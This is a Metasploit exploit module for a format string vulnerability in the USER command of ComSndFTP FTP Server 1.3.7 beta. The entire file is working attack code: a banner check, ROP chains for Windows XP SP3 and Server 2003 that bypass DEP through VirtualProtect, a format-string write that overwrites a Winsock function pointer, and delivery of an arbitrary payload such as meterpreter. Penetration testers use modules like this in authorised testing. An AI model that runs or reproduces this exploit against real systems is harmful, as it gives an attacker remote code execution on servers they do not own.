##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'ComSndFTP v1.3.7 Beta USER Format String (Write4) Vulnerability',
      'Description'   => %q{
          This module exploits the ComSndFTP FTP Server version 1.3.7 beta by sending a specially
        crafted format string specifier as a username. The crafted username is sent to to the server to
        overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer
        is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code.
        The SEH exit function is preferred so that the administrators are not left with an unhandled
        exception message. When using the meterpreter payload, the process will never die, allowing
        for continuous exploitation.
      },
      'Author'        =>
        [
          'ChaoYi Huang <ChaoYi.Huang[at]connect.polyu.hk>', # vuln discovery + poc
          'rick2600 <rick2600[at]corelan.be>',               # msf module (target XP)
          'mr_me <mr_me[at]corelan.be>',                     # msf module (target 23k)
          'corelanc0d3r <peter.ve[at]corelan.be>'            # msf module
        ],
      'Arch'          => [ ARCH_X86 ],
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          # When a DoS is NOT a DoS
          [ 'OSVDB', '82798'],
          [ 'EDB', '19024']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh'
        },
      'Platform'      => ['win'],
      'Privileged'    => false,
      'Payload'       =>
        {
          'Space'            => 1000,
          'BadChars'         => "\x00\x0a\x0d",
          'StackAdjustment'  => -3500,
          'DisableNops'      => 'True'
        },
      'Targets'       =>
        [
          [
            'Windows XP SP3 - English',
            {
              'Functionpointer'   => 0x71AC4050,  # winsock pointer
              'Functionaddress'   => 0x71AB2636,  # the repair address
              'Pivot'             => 0x00408D16,  # 0x004093AE-0x698 add esp, 72c ; retn
              'Pad' => 568
            }
          ],
          [
            'Windows Server 2003 - English',
            {
              'Functionpointer'   => 0x71C14044,  # winsock pointer
              'Functionaddress'   => 0x71C02661,  # the repair address
              'Pivot'             => 0x00408D16,  # 0x004093AE-0x698 add esp, 72c ; retn
              'Pad' => 568
            }
          ]
        ],
      'DisclosureDate' => 'Jun 08 2012'))

    register_options(
      [
        Opt::RPORT(21),
      ])
  end

  def check
    connect
    banner = sock.get_once || ""
    disconnect

    validate  = "\x32\x32\x30\x20\xbb\xb6\xd3\xad\xb9"
    validate << "\xe2\xc1\xd9\x46\x54\x50\xb7\xfe\xce"
    validate << "\xf1\xc6\xf7\x21\x0d\x0a"

    if banner.to_s == validate
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def junk(n=4)
    return rand_text_alpha(n).unpack("V").first
  end

  def exploit

    rop = ''
    if target.name =~ /Server 2003/
      # C:\WINDOWS\system32\msvcrt.dll v7.0.3790.3959
      rop = [
        0x77be3adb, # pop eax ; retn
        0x77ba1114, # <- *&VirtualProtect()
        0x77bbf244, # mov eax,[eax] ; pop ebp ; retn
        junk,
        0x77bb0c86, # xchg eax,esi ; retn
        0x77be3adb, # pop eax ; retn
        0xFFFFFBFF, # dwSize
        0x77BAD64D, # neg eax ; pop ebp ; retn
        junk,
        0x77BBF102, # xchg eax,ebx ; add [eax],al ; retn
        0x77bbfc02, # pop ecx ; retn
        0x77bef001, # ptr that is w+
        0x77bd8c04, # pop edi ; retn
        0x77bd8c05, # retn
        0x77be3adb, # pop eax ; retn
        0xFFFFFFC0, # flNewProtect
        0x77BAD64D, # neg eax ; pop ebp ; retn
        0x77be2265, # ptr to 'push esp ; ret'
        0x77BB8285, # xchg eax,edx ; retn
        0x77be3adb, # pop eax ; retn
        0x90909090, # nops
        0x77be6591, # pushad ; add al,0ef ; retn
      ].pack("V*")

    elsif target.name =~ /XP SP3/
      # C:\WINDOWS\system32\msvcrt.dll v7.0.2600.5512
      rop = [
        0x77C21D16, # pop eax ; retn
        0x77C11120, # <- *&VirtualProtect()
        0x77C2E493, # mov eax,[eax] ; pop ebp ; retn
        junk,
        0x77C21891, # pop esi ; retn
        0x77C5D010, # ptr that is w+
        0x77C2DD6C, # xchg eax,esi ; add [eax],al; retn
        0x77C21D16, # pop eax ; retn
        0xFFFFFBFF, # dwSize
        0x77C1BE18, # neg eax ; pop ebp ; retn
        junk,
        0x77C2362C, # pop ebx ; retn
        0x77C5D010, # ptr that is w+
        0x77C2E071, # xchg eax,ebx ; add [eax],al ; retn
        0x77C1F519, # pop ecx ; retn
        0x77C5D010, # ptr that is w+
        0x77C23B47, # pop edi ; retn
        0x77C23B48, # retn
        0x77C21D16, # pop eax ; retn
        0xFFFFFFC0, # flNewProtect
        0x77C1BE18, # neg eax ; pop ebp ; retn
        0x77C35459, # ptr to 'push esp ; ret'
        0x77C58FBC, # xchg eax,edx ; retn
        0x77C21D16, # pop eax ; retn
        0x90909090, # nops
        0x77C567F0, # pushad ; add al,0ef ; retn
      ].pack("V*")
    end

    stage1 = %Q{
      mov eax, #{target['Functionpointer']}
      mov ecx, #{target['Functionaddress']}
      mov [eax], ecx
    }

    offset_wp = rand_text_alphanumeric(1)
    pivot     = target['Pivot']
    offset    = target['Pad'] + rop.length + stage1.length + payload.encoded.length

    attackstring  = rand_text_alphanumeric(7)
    attackstring << [target['Functionpointer']].pack('V')
    attackstring << "%#{pivot}x"                          # special pointer to our pivot
    attackstring << "%p" * 208 + "#{offset_wp }%n"        # format specifiers to read and write the function pointer
    attackstring << rand_text_alphanumeric(target['Pad'])
    attackstring << rop
    attackstring << Metasm::Shellcode.assemble(Metasm::Ia32.new, stage1).encode_string
    attackstring << payload.encoded
    attackstring << rand_text_alphanumeric(2000 - offset)
    attackstring << "\r\n"

    sploit = "USER #{attackstring}\r\n"

    print_status("Triggering overflow...")
    connect
    sock.get_once(1024)
    sock.put(sploit)
    select(nil, nil, nil, 2)
    handler
    disconnect

  end
end
